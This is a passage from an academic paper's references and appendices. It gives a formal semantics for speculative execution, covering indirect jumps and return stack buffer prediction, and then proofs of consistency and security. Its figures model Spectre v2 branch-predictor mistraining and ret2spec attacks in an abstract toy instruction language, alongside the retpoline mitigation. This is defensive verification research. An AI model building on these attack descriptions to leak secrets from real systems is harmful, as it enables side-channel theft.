[19] Paul Kocher. 2018. Spectre mitigations in Microsoft's C/C++ compiler. https://www.paulkocher.com/doc/MicrosoftCompilerSpectreMitigation.html

[20] Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, and Yuval Yarom. 2018. Spectre Attacks: Exploiting Speculative Execution. *CoRR* abs/1801.01203 (2018). arXiv:1801.01203 http://arxiv.org/abs/1801.01203

[21] P. Kocher, J. Horn, A. Fogh, D. Genkin, D. Gruss, W. Haas, M. Hamburg, M. Lipp, S. Mangard, T. Prescher, M. Schwarz, and Y. Yarom. 2019. Spectre Attacks: Exploiting Speculative Execution. In *2019 IEEE Symposium on Security and Privacy (SP)*. IEEE Computer Society, Los Alamitos, CA, USA. https://doi.org/10.1109/SP.2019.00002

[22] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, and Mike Hamburg. 2018. Meltdown: Reading Kernel Memory from User Space. In *27th USENIX Security Symposium (USENIX Security 18)*. USENIX Association, Baltimore, MD, 973–990.

[23] Giorgi Maisuradze and Christian Rossow. 2018. Ret2Spec: Speculative Execution Using Return Stack Buffers. In *Proceedings of the 2018 ACM SIGSAC Conference on Computer and Communications Security (CCS '18)*. ACM, New York, NY, USA, 2109–2122. https://doi.org/10.1145/3243734.3243761

[24] Ross McIlroy, Jaroslav Sevcík, Tobias Tebbi, Ben L. Titzer, and Toon Verwaest. 2019. Spectre is here to stay: An analysis of side-channels and speculative execution. *CoRR* abs/1902.05178 (2019). arXiv:1902.05178 http://arxiv.org/abs/1902.05178

[25] Marina Minkin, Daniel Moghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel Gruss, Berk Sunar, Frank Piessens, and Yuval Yarom. 2019. Fallout: Reading Kernel Writes From User Space. (2019).

[26] OpenSSL. 2019. Security policy 12th May 2019. https://www.openssl.org/policies/secpolicy.html. https://www.openssl.org/policies/secpolicy.html

[27] Thomas Pornin. 2016. Why Constant-Time Crypto? https://www.bearssl.org/constanttime.html. Retrieved November 15, 2018 from https://www.bearssl.org/constanttime.html

[28] Thomas Pornin. 2018. Constant-Time Toolkit. https://github.com/pornin/CTTK. Retrieved November 15, 2018 from https://github.com/pornin/CTTK

[29] Michael Schwarz, Claudio Canella, Lukas Giner, and Daniel Gruss. 2019. Store-to-Leak Forwarding: Leaking Data on Meltdown-resistant CPUs. https://cpu.fail/store_to_leak_forwarding.pdf

[30] Michael Schwarz, Moritz Lipp, Daniel Moghimi, Jo Van Bulck, Julian Stecklina, Thomas Prescher, and Daniel Gruss. 2019. ZombieLoad: Cross-Privilege-Boundary Data Sampling. https://zombieloadattack.com

[31] Yan Shoshitaishvili, Ruoyu Wang, Christopher Salls, Nick Stephens, Mario Polino, Audrey Dutcher, John Grosen, Siji Feng, Christophe

Hauser, Christopher Kruegel, and Giovanni Vigna. 2016. SoK: (State of) The Art of War: Offensive Techniques in Binary Analysis. In *IEEE Symposium on Security and Privacy.*

[32] Paul Turner. 2019. Retpoline: a software construct for preventing branch-target-injection. https://support.google.com/faqs/answer/7625886

[33] Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida. 2019. RIDL: Rogue In-flight Data Load. In *S&P.*

[34] Guanhua Wang, Sudipta Chattopadhyay, Ivan Gotovchits, Tulika Mitra, and Abhik Roychoudhury. 2018. oo7: Low-overhead Defense against Spectre Attacks via Binary Analysis. *CoRR* abs/1807.05843 (2018). arXiv:1807.05843 http://arxiv.org/abs/1807.05843

[35] Henry Wong. 2014. Store-to-Load Forwarding and Memory Disambiguation in X86 Processors. http://blog.stuffedcow.net/2014/01/x86-memory-disambiguation/

[36] Meng Wu and Chao Wang. 2019. Abstract Interpretation under Speculative Execution. *Proceedings of the 40th SIGPLAN ACM Conference on Programming Language Design and Implementation.*

A Extended semantics

A.1 Indirect jumps

Semantics. The semantics for jmpi are given below:

JMPI-FETCH

$$\frac{\begin{array}{c}\mu(n) = \mathsf{jmpi}(\overrightarrow{rv}) \\ i = \mathsf{MAX}(\mathit{buf}) + 1 \qquad \mathit{buf}' = \mathit{buf}[i \mapsto \mathsf{jmpi}(\overrightarrow{rv}, n')]\end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{fetch: } n']{} (\rho, \mu, n', \mathit{buf}')}$$

JMPI-EXECUTE-CORRECT

$$\frac{\begin{array}{c}\mathit{buf}(i) = \mathsf{jmpi}(\overrightarrow{rv}, n_0) \\ \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \qquad (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \\ \ell = \sqcup\vec{\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = n_0 \qquad \mathit{buf}' = \mathit{buf}[i \mapsto \mathsf{jump}\ n_0]\end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i]{\mathtt{jump}\ {n_0}_\ell} (\rho, \mu, n, \mathit{buf}')}$$

JMPI-EXECUTE-INCORRECT

$$\frac{\begin{array}{c}\mathit{buf}(i) = \mathsf{jmpi}(\overrightarrow{rv}, n_0) \qquad \forall j < i : \mathit{buf}[j] \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad \ell = \sqcup\vec{\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = n' \neq n_0 \\ \mathit{buf}' = \mathit{buf}[j : j < i][\ i \mapsto \mathsf{jump}\ n']\end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i]{\mathtt{rollback, jump}\ n'_\ell} (\rho, \mu, n', \mathit{buf}')}$$

When fetching a jmpi instruction, the schedule guesses the jump target n'. The rule records the operands and the guessed program point in a new buffer entry. In a real processors, the jump target guess is supplied by an indirect branch predictor; as branch predictors can be arbitrarily influenced by an adversary [11], we model the guess as an attacker directive.

In the execute stage, we calculate the actual jump target and compare it to the guess. If the actual target and the guess match, we update the entry in the reorder buffer to the resolved jump instruction jump n_0. If actual target and the guess do not match, we roll back the execution by removing all buffer entries larger or equal to i, update the buffer with the resolved jump to the correct address, and set the next instruction.

Registers	
r	$\rho(r)$
r_a	1_{pub}
r_b	8_{pub}

Memory	
a	$\mu(a)$
44..47	*array* B_{pub}
48..4B	*array* $\mathit{Key}_{\text{sec}}$

Program	
n	$\mu(n)$
$\underline{1}$	$(r_c = \mathsf{load}([48, \mathsf{r_a}], \underline{2}))$
$\underline{2}$	fence $\underline{3}$
$\underline{3}$	$\mathsf{jmpi}([12, r_b])$
	...
$\underline{16}$	fence $\underline{17}$
$\underline{17}$	$(r_d = \mathsf{load}([44, \mathsf{r_c}], \underline{18}))$

Directive	Effect on *buf*	Leakage
fetch	$\overline{1} \mapsto r_c = \mathsf{load}(48 + r_a)$	
fetch	$\overline{2} \mapsto \mathsf{fence}$	
execute $\overline{1}$	$\overline{1} \mapsto r_c = \mathit{Key}[1]_{\text{sec}}$	$\mathtt{read}\ 49_{\text{pub}}$
fetch: $\underline{17}$	$\overline{3} \mapsto \mathsf{jmpi}([12, r_b], \underline{17})$	
fetch	$\overline{4} \mapsto r_d = \mathsf{load}([44, r_c])$	
retire	$\overline{1} \notin \mathit{buf}$	
retire	$\overline{2} \notin \mathit{buf}$	
execute $\overline{4}$	$\overline{4} \mapsto r_d = X$	$\mathtt{read}\ a_{\text{sec}}$
	where $a = \mathit{Key}[1]_{\text{sec}} + \mathtt{40}$	

Figure 11. Example demonstrating Spectre v2 attack from a mistrained indirect branch predictor. Speculation barriers are not a useful defense against this style of attack.

Like conditional branch instructions, indirect jumps leak the calculated jump target.

Examples. The example in Figure 11 shows how a mistrained indirect branch predictor can lead to disclosure vulnerabilities. After loading a secret value into r_c at program point $\underline{1}$, the program makes an indirect jump. An adversary can mistrain the predictor to send execution to $\underline{17}$ instead of the intended branch target, where the secret value in r_c is immediately leaked. Because indirect jumps can have arbitrary branch target locations, fence instructions do not prevent these kinds of attacks; an adversary can simply retarget the indirect jump to the instruction after the fence, as is seen in this example.

A.2 Return address prediction

Next, we discuss how our semantics models function calls.

Instructions. We introduce the following two physical instructions: $\mathsf{call}(n_f, n_{ret})$, where n_f is the target program point of the call and n_{ret} is the return program point; and the return instruction ret. Their transient forms are simply call and ret.

Call stack. To track control flow in the presence of function calls, our semantics explicitly maintains a call stack in memory. For this, we use a dedicated register r_{sp} which points to the top of the call stack, and which we call the *stack pointer register*.

On fetching a call instruction, we update r_{sp} to point to the address of the next element of the stack using an abstract operation *succ*. It then saves the return address to the

Program	n	$\underline{1}$	$\underline{2}$	$\underline{3}$
	$\mu(n)$	$\mathsf{call}(\underline{3}, \underline{2})$	ret	ret

Directive	n	*buf*	σ
fetch	$\underline{1} \longrightarrow \underline{3}$	$\overline{1} \mapsto \mathsf{call}$	$\overline{1} \mapsto \mathit{push}\ \underline{2}$
		$\overline{2} \mapsto r_{sp} = \mathsf{op}(\mathit{succ}, r_{sp})$	
		$\overline{3} \mapsto \mathsf{store}(2, [r_{sp}])$	
fetch	$\underline{3} \longrightarrow \underline{2}$	$\overline{4} \mapsto \mathsf{ret}$	$\overline{4} \mapsto \mathit{pop}$
		$\overline{5} \mapsto r_{tmp} = \mathsf{load}([r_{sp}])$	
		$\overline{6} \mapsto r_{sp} = \mathsf{op}(\mathit{pred}, r_{sp})$	
		$\overline{7} \mapsto \mathsf{jmpi}([r_{tmp}], \underline{2})$	
fetch: $\underline{n}$	$\underline{2} \longrightarrow \underline{n}$	$\overline{8} \mapsto \mathsf{ret}$	$\overline{8} \mapsto \mathit{pop}$
		$\overline{9} \mapsto r_{tmp} = \mathsf{load}([r_{sp}])$	
		$\overline{10} \mapsto r_{sp} = \mathsf{op}(\mathit{pred}, r_{sp})$	
		$\overline{11} \mapsto \mathsf{jmpi}([r_{tmp}], \underline{n})$	

Figure 12. Example demonstrating a ret2spec-style attack [23]. The attacker is able to send (speculative) execution to an arbitrary program point, shown in red.

newly computed address. On returning from a function call, our semantics transfers control to the return address at r_{sp}, and then updates r_{sp} to point to the address of the previous element using a function *pred*. This step makes use of a temporary register r_{tmp}.

Using abstract operations *succ* and *pred* rather than committing to a concrete implementation allows our semantics to capture different stack designs. For example, on a 32-bit x86 processor with a downward-growing stack, $\mathsf{op}(\mathit{succ}, r_{sp})$ would be implemented as $r_{sp} - 4$, while $\mathsf{op}(\mathit{pred}, r_{sp})$ would be implemented as $r_{sp} + 4$; on an upward growing system, the reverse would be true.

Note that the stack register r_{sp} is not protected from illegal access and can be updated freely.

Return stack buffer. For performance, modern processors speculatively predict return addresses. To model this, we extend configurations with a new piece of state called the *return stack buffer* (RSB), written as σ. The return stack buffer contains the expected return address at any execution point. Its implementation is simple: for a call instruction, the semantics pushes the return address to the RSB, while for a ret instruction, the semantics pops the address at the top of the RSB. Similar to the reorder buffer, we address the RSB through indices and roll it back on misspeculation or memory hazards.

We model return prediction directly through the return stack buffer rather than relying on attacker directives, as most processors follow this simple strategy, and the predictions therefore cannot be influenced by an attacker.

We now present the step rules for our semantics.

Calling.

CALL-DIRECT-FETCH

$$\frac{\begin{gathered}\mu(n) = \mathsf{call}(n_f, n_{ret}) \qquad i = \mathsf{MAX}(\mathit{buf}) + 1 \\ \mathit{buf}_1 = \mathit{buf}[i \mapsto \mathsf{call}][i+1 \mapsto (r_{sp} = \mathsf{op}(\mathit{succ}, r_{sp}))] \\ \mathit{buf}' = \mathit{buf}_1[i+2 \mapsto \mathsf{store}(n_{ret}, [r_{sp}])] \\ \sigma' = \sigma[i \mapsto \mathit{push}\ n_{ret}] \qquad n' = n_f\end{gathered}}{(\rho, \mu, n, \mathit{buf}, \sigma) \xhookrightarrow[\mathsf{fetch}]{} (\rho, \mu, n', \mathit{buf}', \sigma')}$$

CALL-RETIRE

$$\frac{\begin{gathered}\mathsf{MIN}(\mathit{buf}) = i \\ \mathit{buf}(i) = \mathsf{call} \qquad \mathit{buf}(i+1) = (r_{sp} = v_\ell) \\ \mathit{buf}(i+2) = \mathsf{store}(n_{ret}, a_{\ell_a}) \qquad \rho' = \rho[r_{sp} \mapsto v_\ell] \\ \mu' = \mu[a \mapsto n_{ret}] \qquad \mathit{buf}' = \mathit{buf}[j : j > i+2]\end{gathered}}{(\rho, \mu, n, \mathit{buf}, \sigma) \xhookrightarrow[\mathsf{retire}]{\mathtt{write}\ a_{\ell_a}} (\rho', \mu', n, \mathit{buf}', \sigma)}$$

On fetching a call instruction, we add three transient instructions to the reorder buffer to model pushing the return address to the in-memory stack. The first transient instruction, call, simply serves as an indication that the following two instructions come from fetching a call instruction. The remaining two instructions advance r_{sp} to point to a new stack entry, then store the return address n_{ret} in the new entry. Neither of these transient instructions are fully resolved—they will need to be executed in later steps. We next add a new entry to the RSB, signifying a push of the return address n_{ret} to the RSB. Finally, we set our program point to the target of the call n_f.

When retiring a call, all three instructions generated during the fetch are retired together. The register file is updated with the new value of r_{sp}, and the return address is written to physical memory, producing the corresponding leakage.

The semantics for direct calls can be extended to cover indirect calls in a straightforward manner by imitating the semantics for indirect jumps. We omit them for brevity.

Evaluating the RSB. We define a function $top(\sigma)$ that retrieves the value at the top of the RSB stack. For this, we let $[\![\sigma]\!]$ be a function that transforms the RSB stack σ into a stack in the form of a partial map $(st : \mathcal{N} \rightharpoonup \mathcal{V})$ from the natural numbers to program points, as follows: the function $[\![\cdot]\!]$ applies the commands for each value in the domain of σ, in the order of the indices. For a *push n* it adds n to the lowest empty index of *st*. For *pop*, it and removes the value with the highest index in *st*, if it exists. We then define $top(\sigma)$ as $st(\mathsf{MAX}(st))$, where $st = [\![\sigma]\!]$, and $\bot$, if the domain of *st* is empty. For example, if σ is given as $\emptyset[1 \mapsto \ \mathit{push}\ \underline{4}][2 \mapsto \ \mathit{push}\ \underline{5}][3 \mapsto \mathit{pop}]$, then $[\![\sigma]\!] = \emptyset[1 \mapsto \underline{4}]$, and $top(\sigma) = \underline{4}$.

Returning.

RET-FETCH-RSB

$$\frac{\begin{array}{c}\mu(n) = \mathsf{ret} \qquad top(\sigma) = n' \\ i = \mathsf{MAX}(buf) + 1 \qquad buf_1 = buf[i \mapsto \mathsf{ret}] \\ buf_2 = buf_1[i+1 \mapsto (r_{tmp} = \mathsf{load}([r_{sp}]))] \\ buf_3 = buf_2[i+2 \mapsto (r_{sp} = \mathsf{op}(pred, r_{sp}))] \\ buf_4 = buf_3[i+3 \mapsto \mathsf{jmpi}([r_{tmp}], n')] \\ \sigma' = \sigma[i \mapsto pop]\end{array}}{(\rho, \mu, n, buf, \sigma) \xhookrightarrow[\mathsf{fetch}]{} (\rho, \mu, n', buf_4, \sigma')}$$

RET-FETCH-RSB-EMPTY

$$\frac{\begin{array}{c}\mu(n) = \mathsf{ret} \qquad top(\sigma) = \bot \\ i = \mathsf{MAX}(buf) + 1 \qquad buf_1 = buf[i \mapsto \mathsf{ret}] \\ buf_2 = buf_1[i+1 \mapsto (r_{tmp} = \mathsf{load}([r_{sp}]))] \\ buf_3 = buf_2[i+2 \mapsto (r_{sp} = \mathsf{op}(pred, r_{sp}))] \\ buf_4 = buf_3[i+3 \mapsto \mathsf{jmpi}([r_{tmp}], n')] \\ \sigma' = \sigma[i \mapsto pop]\end{array}}{(\rho, \mu, n, buf, \sigma) \xhookrightarrow[\mathsf{fetch}:\ n']{} (\rho, \mu, n', buf_4, \sigma')}$$

RET-RETIRE

$$\frac{\begin{array}{c}\mathsf{MIN}(buf) = i \\ buf(i) = \mathsf{ret} \qquad buf(i+1) = (r_{tmp} = v_{1\ell_1}) \\ buf(i+2) = (r_{sp} = v_{2\ell_2}) \qquad buf(i+3) = \mathsf{jump}\ n' \\ \rho' = \rho[r_{sp} \mapsto v_{2\ell_2}] \qquad buf' = buf[j : j > i+3]\end{array}}{(\rho, \mu, n, buf, \sigma) \xhookrightarrow[\mathsf{retire}]{} (\rho', \mu, n, buf', \sigma)}$$

On a fetch of ret, the next program point is set to the predicted return address, i.e., the top value of the RSB, $top(\sigma)$. Just as with call, we add the transient ret instruction to the reorder buffer, followed by the following (unresolved) instructions: we load the value at address r_{sp} into a temporary register r_{tmp}, we "pop" r_{sp} to point back to the previous stack entry, and then add an indirect jump to the program point given by r_{tmp}. Finally, we add a *pop* entry to the RSB. As with call instructions, the set of instructions generated by a ret fetch are retired all at once.

When the RSB is empty, the attacker can supply a speculative return address via the directive fetch: n'. This is consistent with the behavior of existing processors. In practice, there are several variants on what processors actually do when the RSB is empty [23]:

- AMD processors refuse to speculate. This can be modeled by defining $top(\sigma)$ to be a failing predicate if it would result in $\bot$.
- Intel Skylake/Broadwell processors fall back to using their branch target predictor. This can be modeled by allowing arbitrary n' for the fetch: n' directive for the RET-FETCH-RSB-EMPTY rule.
- "Most" Intel processors treat the RSB as a circular buffer, taking whichever value is produced when the RSB over- or underflows. This can be modeled by having $top(\sigma)$ always produce an according value, and never producing $\bot$.

Registers

r	$\rho(r)$
r_b	8_{pub}
r_{sp}	$7C_{\mathsf{pub}}$

Program

n	$\mu(n)$
$\underline{3}$	$\mathsf{call}(\underline{5}, \underline{4})$
$\underline{4}$	$\mathsf{fence}\ \underline{4}$
$\underline{5}$	$r_d = \mathsf{op}(addr, [12, r_b], \underline{6})$
$\underline{6}$	$\mathsf{store}(r_d, [r_{sp}], \underline{7})$
$\underline{7}$	ret

Effect of successive fetch directives

n	buf	σ
$\underline{3} \longrightarrow \underline{5}$	$\overline{3} \mapsto \mathsf{call}$	$\overline{3} \mapsto push\ \underline{4}$
	$\overline{4} \mapsto r_{sp} = \mathsf{op}(succ, r_{sp})$	
	$\overline{5} \mapsto \mathsf{store}(4, [r_{sp}])$	
$\underline{5} \longrightarrow \underline{6}$	$\overline{6} \mapsto r_d = \mathsf{op}(addr, [12, r_b])$	
$\underline{6} \longrightarrow \underline{7}$	$\overline{7} \mapsto \mathsf{store}(r_d, [r_{sp}])$	
$\underline{7} \longrightarrow \underline{4}$	$\overline{8} \mapsto \mathsf{ret}$	$\overline{8} \mapsto pop$
	$\overline{9} \mapsto r_{tmp} = \mathsf{load}([r_{sp}])$	
	$\overline{10} \mapsto r_{sp} = \mathsf{op}(pred, r_{sp})$	
	$\overline{11} \mapsto \mathsf{jmpi}([r_{tmp}], \underline{4})$	
$\underline{4} \longrightarrow \underline{4}$	$\overline{12} \mapsto \mathsf{fence}$	

Directive	Effect on buf	Leakage
execute $\overline{4}$	$\overline{4} \mapsto r_{sp} = 7B$	
execute $\overline{6}$	$\overline{6} \mapsto r_d = 20$	
execute $\overline{7}$: value	$\overline{7} \mapsto \mathsf{store}(20, [r_{sp}])$	
execute $\overline{7}$: addr	$\overline{7} \mapsto \mathsf{store}(20, 7B)$	fwd 7B
execute $\overline{9}$	$\overline{9} \mapsto r_{tmp} = 20$	fwd 7B
execute $\overline{11}$	$\overline{12} \notin buf$ $\overline{11} \mapsto \mathsf{jump}\ \underline{20}$	rollback, jump $\underline{20}$

Figure 13. Example demonstrating "retpoline" mitigation against Spectre v2 attack. The program is able to jump to program point $12 + r_b = \underline{20}$ without the schedule influencing prediction.

Examples. We present an example of an RSB underflow attack in Figure 12. After fetching a call and paired ret instruction, the RSB will be "empty". When one more (unmatched) ret instruction is fetched, since $top(\sigma) = \bot$, the program point n is no longer set by the RSB, and is instead set by the (attacker-controlled) schedule.

Retpoline mitigation. A mitigation for Spectre v2 attacks is to replace indirect jumps with *retpolines* [32]. Figure 13 shows a retpoline construction that would replace the indirect jump in Figure 11. The call sends execution to program point $\underline{5}$, while adding $\underline{4}$ to the RSB. The next two instructions at $\underline{5}$ and $\underline{6}$ calculate the same target as the indirect jump in Figure 11 and overwrite the return address in memory with this jump target. When executed speculatively, the ret at $\underline{7}$ will pop the top value off the RSB, $\underline{4}$, and jump there, landing on a fence instruction that loops back on itself. Thus speculative execution cannot proceed beyond this point. When the transient instructions in the ret sequence finally execute, the indirect jump target $\underline{20}$ is loaded from memory, causing a roll back. However, execution is then directed to the proper jump target. Notably, at no point is an attacker able to hijack the jump target via misprediction.

B Full proofs

B.1 Consistency

Lemma B.1 (Determinism). *If* $C \overset{o'}{\underset{d}{\hookrightarrow}} C'$ *and* $C \overset{o''}{\underset{d}{\hookrightarrow}} C''$ *then* $C' = C''$ *and* $o' = o''$.

Proof. The tuple (C, d) fully determines which rule of the semantics can be executed. □

Definition B.2 (Initial/terminal configuration)**.** A configuration C is an *initial* (or *terminal*) configuration if $|C.buf| = 0$.

Definition B.3 (Sequential schedule)**.** Given a configuration C, we say a schedule D is *sequential* if every instruction that is fetched is executed and retired before further instructions are fetched.

Definition B.4 (Sequential execution)**.** $C \; {}_{O}{\Downarrow}_{D}^{N} \; C'$ is a sequential execution if C is an initial configuration, D is a sequential schedule for C, and C' is a terminal configuration.

We write $C \; {}_{O}{\Downarrow}_{seq}^{N} \; C'$ if we execute sequentially.

Lemma B.5 (Sequential consistency). *If* $C \; {}_{O_1}{\Downarrow}_{D_1}^{N} \; C_1$ *is sequential and* $C \; {}_{O_2}{\Downarrow}_{D_2}^{N} \; C_2$ *is sequential, then* $C_1 = C_2$.

Proof. Suppose $N = 0$. Then neither D_1 nor D_2 may contain any retire directives. Since we assume that both $C_1.buf$ and $C_2.buf$ have size 0, neither D_1 nor D_2 may contain any fetch directives. Therefore, both D_1 and D_2 are empty; both C_1 and C_2 are equal to C.

We proceed by induction on N.

Let D_1' be a sequential prefix of D_1 up to the $N-1$th retire, and let D_1'' be the remainder of D_1. That is, $\#\{d \in D_1' \mid d = \text{retire}\} = N-1$ and $D_1' \| D_1'' = D_1$. Let D_2' and D_2'' be similarly defined.

By our induction hypothesis, we know $C \; {}_{O_1'}{\Downarrow}_{D_1'}^{N-1} \; C'$ and $C \; {}_{O_2'}{\Downarrow}_{D_2'}^{N-1} \; C'$ for some C'. Since D_1' (resp. D_2') is sequential and $|C'.buf| = 0$, the first directive in D_1'' (resp. D_2'') must be a fetch directive. Furthermore, $C' \; {}_{O_1''}{\Downarrow}_{D_1''}^{1} \; C_1$ and $C' \; {}_{O_2''}{\Downarrow}_{D_2''}^{1} \; C_2$.

We can now proceed by cases on $C'.\mu[C'.n]$, the final instruction to be fetched.

- ▶ For op, the only valid sequence of directives is (fetch, execute i, retire) where i is the sole valid index in the buffer. Similarly for fence, with the sequence {fetch, retire}.
- ▶ For load, alias prediction is not possible, as no prior stores exist in the buffer. Therefore, just as with op, the only valid sequence of directives is (fetch, execute i, retire).
- ▶ For store, the only possible difference between D_1'' and D_2'' is the ordering of the execute i : value and execute i : addr directives. However, both orderings will result in the same configuration since they independently resolve the components of the store.
- ▶ For br, D_1'' and D_2'' may have different guesses for their initial fetch directives. However, both cond-execute-correct and cond-execute-incorrect will result in the same configuration regardless of the initial guess, as the br is the only instruction in the buffer. Similarly for jmpi.
- ▶ For call and ret, the ordering of execution of the resulting transient instructions does not affect the final configuration.

Thus for all cases we have $C_1 = C_2$. □

To make our discussion easier, we will say that a directive d *applies to* a buffer index i if when executing a step $C \overset{o}{\underset{d}{\hookrightarrow}} C'$:

- ▶ d is a fetch directive, and would fetch an instruction into index i in buf.
- ▶ d is an execute directive, and would execute the instruction at index i in buf.
- ▶ d is a retire directive, and would retire the instruction at index i in buf.

We would like to reason about schedules that do not contain *misspeculated steps*, i.e., directives that are superfluous due to their effects getting wiped away by rollbacks.

Definition B.6 (Misspeculated steps)**.** Given an execution $C \; {}_{O}{\Downarrow}_{D}^{N} \; C'$, we say that D contains *misspeculated steps* if there exists $d \in D$ such that $D' = D \setminus d$ and $C \; {}_{O'}{\Downarrow}_{D'}^{N} \; C'' = C'$.

Given an execution $C \; {}_{O}{\Downarrow}_{D}^{N} \; C'$ that may contain rollbacks, we can create an alternate schedule D^* without any rollbacks by removing all misspeculated steps. Note that sequential schedules have no misspeculated steps[6] as defined in Definition B.6.

Theorem B.7 (Equivalence to sequential execution)**.** *Let* C *be an initial configuration and* D *a well-formed schedule for* C. *If* $C \; {}_{O_1}{\Downarrow}_{D}^{N} \; C_1$, *then* $C \; {}_{O_2}{\Downarrow}_{seq}^{N} \; C_2$ *and* $C_1 \approx C_2$. *Furthermore, if* C_1 *is terminal then* $C_1 = C_2$.

Proof. Since we can always remove all misspeculated steps from any well-formed execution without affecting the final configuration, we assume D_1 has no misspeculated steps.

Suppose $N = 0$. Then the theorem is trivially true. We proceed by induction on N.

Let D_1' be the subsequence of D_1 containing the first $N-1$ retire directives and the directives that apply to the same indices of the first $N-1$ retire directives. Let D_1'' be the complement of D_1' with respect to D_1. All directives in D_1'' apply to indices later than any directive in D_1', and thus cannot affect the execution of directives in D_1'. Thus D_1' is a well-formed schedule and produces execution $C \; {}_{O_1'}{\Downarrow}_{D_1'}^{N-1} \; C_1'$.

[6] Sequential schedules may still misspeculate on conditional branches but the rollback does not imply removal of any reorder buffer instructions as defined in Definition B.6.

Since D_1 contains no misspeculated steps, the directives in D''_1 can be reordered after the directives in D'_1. Thus D''_1 is a well-formed schedule for C'_1, producing execution $C'_1 \ {}_{O''_1}{\Downarrow}^{1}_{D''_1} \ C''_1$ with $C''_1 \approx C_1$. If C_1 is terminal, then C''_1 is also terminal and $C''_1 = C_1$.

By our induction hypothesis, we know there exists D'_{seq} such that $C \ {}_{O'_2}{\Downarrow}^{N-1}_{D'_{seq}} \ C'_2$. Since D'_1 contains equal numbers of fetch and retire directives, ends with a retire, and contains no misspeculated steps, C'_1 is terminal. Thus $C'_1 = C'_2$.

Let D''_{seq} be the subsequence of D''_1 containing the retire directive in D''_1 and the directives that apply to the same index. D''_{seq} is sequential with respect to C'_1 and produces execution $C'_1 \ {}_{O''_2}{\Downarrow}^{1}_{D''_{seq}} \ C''_2$ with $C''_2 \approx C''_1 \approx C_1$. If C''_1 is terminal, then $D''_{seq} = D''_1$ and thus $C''_2 = C''_1 = C_1$.

Let $D_{seq} = D'_{seq} \| D''_{seq}$. D_{seq} is thus itself sequential and produces execution $C \ {}_{(O'_2 \| O''_2)}{\Downarrow}^{N}_{seq} \ C''_2$, completing our proof. □

Corollary B.8 (General consistency). *Let C be an initial configuration. If $C \ {}_{O_1}{\Downarrow}^{N}_{D_1} \ C_1$ and $C \ {}_{O_2}{\Downarrow}^{N}_{D_2} \ C_2$, then $C_1 \approx C_2$. Furthermore, if C_1 and C_2 are both terminal then $C_1 = C_2$.*

Proof. By Theorem B.7, there exists D'_{seq} such that executing with C produces $C'_1 \approx C_1$ (resp. $C'_1 = C_1$). Similarly, there exists D''_{seq} that produces $C'_2 \approx C_2$ (resp. $C'_2 = C_2$). By Lemma B.5, we have $C'_1 = C'_2$. Thus $C_1 \approx C_2$ (resp. $C_1 = C_2$). □

B.2 Security

Theorem B.9 (Label stability). *Let ℓ be a label in the lattice $\mathcal{L}$. If $C \ {}_{O_1}{\Downarrow}^{N}_{D_1} \ C_1$ and $\forall o \in O_1 : \ell \notin o$, then $C \ {}_{O_2}{\Downarrow}^{N}_{seq} \ C_2$ and $\forall o \in O_2 : \ell \notin o$.*

Proof. Let D^*_1 be the schedule given by removing all misspeculated steps from D_1. The corresponding trace O^*_1 is a subsequence of O_1, and hence $\forall o \in O^*_1 : \ell \notin o$. We thus proceed assuming that execution of D_1 contains no misspeculated steps.

Our proof closely follows that of Theorem B.7. When constructing D'_1 and D''_1 from D_1 in the inductive step, we know that all directives in D''_1 apply to indices later than any directive in D'_1, and cannot affect execution of any directive in D'_1. This implies that O'_1 is the subsequence of O_1 that corresponds to the mapping of D'_1 to D_1.

Reordering the directives in D''_1 after D'_1 do not affect the observations produced by most directives. The exceptions to this are execute directives for load instructions that would have received a forwarded value: after reordering, the store instruction they forwarded from may have been retired, and they must fetch their value from memory. However, even in this case, the address a_{ℓ_a} attached to the observation does not change. Thus $\forall o \in O''_2 : \ell \notin o$.

Continuing the proof as in Theorem B.7, we create schedule D'_{seq} (with trace O'_2) from the induction hypothesis and D''_{seq} (with trace O''_2) as the subsequence of D''_1 of directives applying to the remaining instruction to be retired. As noted before, executing the subsequence of a schedule produces the corresponding subsequence of the original trace; hence $\forall o \in O''_2 : \ell \notin o$.

The trace of the final (sequential) schedule $D_{seq} = D'_{seq} \| D''_{seq}$ is $O'_2 \| O''_2$. Since O'_2 satisfies the label stability property via the induction hypothesis, we have $\forall o \in O'_2 \| O''_2 : \ell \notin o$. □

By letting ℓ be the label secret, we get the following corollary:

Corollary B.10 (Secrecy). *If speculative execution of C under schedule D produces a trace O that contains no secret labels, then sequential execution of C will never produce a trace that contains any secret labels.*

With this, we can prove the following proposition:

Proposition B.11. *For a given initial configuration C and well-formed schedule D, if C is SCT with respect to D, and execution of C with D results in a terminal configuration C_1, then C is also sequentially constant-time.*

Proof. Since C is SCT, we know that for all $C' \simeq_{\text{pub}} C$, we have $C \ {}_{O}{\Downarrow}^{N}_{D} \ C_1$ and $C' \ {}_{O'}{\Downarrow}^{N}_{D} \ C'_1$ where $C_1 \simeq_{\text{pub}} C'_1$ and $O = O'$. By Theorem B.7, we know there exist sequential executions such that $C \ {}_{O_{seq}}{\Downarrow}^{N}_{seq} \ C_2$ and $C' \ {}_{O'_{seq}}{\Downarrow}^{N}_{seq} \ C'_2$. Note that the two sequential schedules need not be the same.

C_1 is terminal by hypothesis. Execution of C' uses the same schedule D, so C'_1 is also terminal. Since we have $C_1 = C_2$ and $C'_1 = C'_2$, we can lift $C_1 \simeq_{\text{pub}} C'_1$ to get $C_2 \simeq_{\text{pub}} C'_2$.

